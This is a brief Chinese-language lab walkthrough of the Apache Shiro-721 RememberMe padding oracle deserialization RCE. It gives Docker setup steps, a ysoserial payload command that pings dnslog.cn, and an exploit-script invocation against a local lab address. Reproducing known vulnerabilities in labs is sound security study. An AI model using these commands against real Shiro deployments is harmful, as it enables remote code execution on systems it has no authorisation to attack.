SHIRO-721 RememberMe Padding Oracle Vulnerability RCE

0x00 简介

shiro是一个java场景使用较多组件,最近曝出因使用了 AES-128-CBC 模式对cookie进行加密,so可以padding oracle攻击构造数据进行反序列化攻击

0x02 影响版本

影响版本: shiro<1.4.1

0x03 环境搭建

git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

0x04 漏洞利用

攻击流程:

  1. 登录网站(勾选Remember),并从Cookie中获取合法的RememberMe。
  2. 使用RememberMe cookie作为Padding Oracle Attack的前缀。
  3. 加密 ysoserial 的序列化 payload,以通过Padding Oracle Attack制作恶意RememberMe。
  4. 重放恶意RememberMe cookie,以执行反序列化攻击。 1、此漏洞需要帐号密码,登录后,取cookie的rememberMe值

SHIRO-721 RememberMe Padding Oracle Vulnerability RCE

2、生成payload.class

java -jar ysoserial.jar CommonsCollections1 "ping dnslog.cn" > payload.class

3、生成恶意rememberMe值

需输入3个参数,目标url,正常rememberMe值,payload.class,跑脚本会需要点时间。

python2 shiro_exp.py http://192.168.52.130:8080/ rememberMe值 payload.class

SHIRO-721 RememberMe Padding Oracle Vulnerability RCE

4、使用生成的恶意remeberMe值进行访问

-------------本文结束感谢您的阅读-------------